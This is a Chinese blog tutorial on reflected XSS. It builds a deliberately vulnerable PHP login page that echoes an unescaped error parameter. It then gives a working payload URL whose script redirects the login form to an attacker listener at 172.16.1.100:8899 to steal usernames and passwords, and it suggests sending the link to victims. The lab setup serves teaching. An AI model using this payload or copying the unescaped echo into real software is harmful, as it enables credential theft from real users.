反射性xss的简单利用（获取账号密码）

﹏ヽ暗。殇╰゛Y 2024-05-23 14:15 83阅读 0赞

### 反射性xss的简单利用 ###

#### 1、搭建一个存在xss的目标web程序 ####

phpstudy开启Apache服务：  
将xss程序放到网站根目录并命名为auth.php：

<?php
    // check if the form was submitted
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        
      // get the username and password from the form
      $username = isset($_POST['username']) ? $_POST['username'] : "";
      $password = isset($_POST['password']) ? $_POST['password'] : "";
    
      // check if the credentials are valid
      if ($username === 'jksdyf7y3748723@#@%' && $password === 'jksdyf7y3748723@#@%') {
        
        // redirect to the dashboard or homepage
        header('Location: dashboard.php');
        exit;
      } else {
        
        // redirect back to the login page with an error message
        $error_message = 'Invalid username or password. Please try again.';
        header('Location: auth.php?error=' . urlencode($error_message));
        exit;
      }
    }
    ?>
    
    <!DOCTYPE html>
    <html lang="en">
    <head>
    
      <title>Login</title>
      <style>
        body {
        
          font-family: sans-serif;
          background-color: #f1f1f1;
          padding: 20px;
        }
    
        form {
        
          background-color: #fff;
          border-radius: 5px;
          box-shadow: 0 0 10px rgba(0, 0, 0, 0.2);
          padding: 20px;
          max-width: 400px;
          margin: 0 auto;
        }
    
        label {
        
          display: block;
          font-weight: bold;
          margin-bottom: 5px;
        }
    
        input[type="text"],
        input[type="password"] {
        
          border: 1px solid #ccc;
          border-radius: 3px;
          padding: 5px;
          width: 100%;
          margin-bottom: 10px;
          box-sizing: border-box;
        }
    
        button[type="submit"] {
        
          background-color: #007bff;
          color: #fff;
          border: none;
          border-radius: 3px;
          padding: 10px 20px;
          cursor: pointer;
        }
    
        button[type="submit"]:hover {
        
          background-color: #0069d9;
        }
    
        .error {
        
          color: #f44336;
          margin-top: 10px;
        }
      </style>
    </head>
    <body>
    
    
      <form action="auth.php" method="post">
        <label for="username">Username:</label>
        <input type="text" id="username" name="username" required>
    
        <label for="password">Password:</label>
        <input type="password" id="password" name="password" required>
    
        <button type="submit">Login</button>
        <?php
        // check if an error message was passed in the URL
        if (isset($_GET['error'])) {
        
          $error_message = $_GET['error'];
          echo '<p class="error">' . $error_message . '</p>';
        }
        ?>
      </form>
    
    </body>
    </html>

完事后就是这个样子  
![在这里插入图片描述][c0f18895a9964ecba2f834bf37b78a7c.png]

#### 2、开启一台虚拟机，作为攻击机，并开启http服务： ####

![在这里插入图片描述][2021b1e3d4814b36a54ecf4ea2b61959.png]

#### 3、测试xss ####

首先输入一个错误的账号密码：  
![在这里插入图片描述][581be04d58264c6688ddb585e45c7484.png]

漏洞点在error  
![在这里插入图片描述][d626af70fd814871b9876cb59d267a89.png]

到此环境没问题：  
获取账号密码的xss的payload，地址为攻击机地址端口

![在这里插入图片描述][f15226f60ae74caa84db609e873afd4c.png]

输入账号密码，发现攻击机也能收到账号密码：  
![在这里插入图片描述][a363c68eab5a44f399cf43ee6950d178.png]

#### 总结： ####

只要我们把此链接：http://127.0.0.1/auth.php?error=%3Cscript%3Ex=document.querySelector(%27form%27);x.setAttribute(%27method%27,%27GET%27);x.setAttribute(%27action%27,%27http://172.16.1.100:8899%27);%3C/script%3E  
发给受害者，受害者一旦输入正确的账号密码，那我们也会收到。

[c0f18895a9964ecba2f834bf37b78a7c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/47e020b462fd4882a4f6aa5a5d48ec09.png
[2021b1e3d4814b36a54ecf4ea2b61959.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/91e1e7a20c9e49f69f0874ef6445522f.png
[581be04d58264c6688ddb585e45c7484.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/d9f8b81d58ac48d9936788fda4e53a4e.png
[d626af70fd814871b9876cb59d267a89.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/51d72481f25848328cbf78f69bb13c8f.png
[f15226f60ae74caa84db609e873afd4c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/8f2abccc3da14c3393ed23e75d3db5ac.png
[a363c68eab5a44f399cf43ee6950d178.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/e985fe6619cf444bb8a9480e4b35dd05.png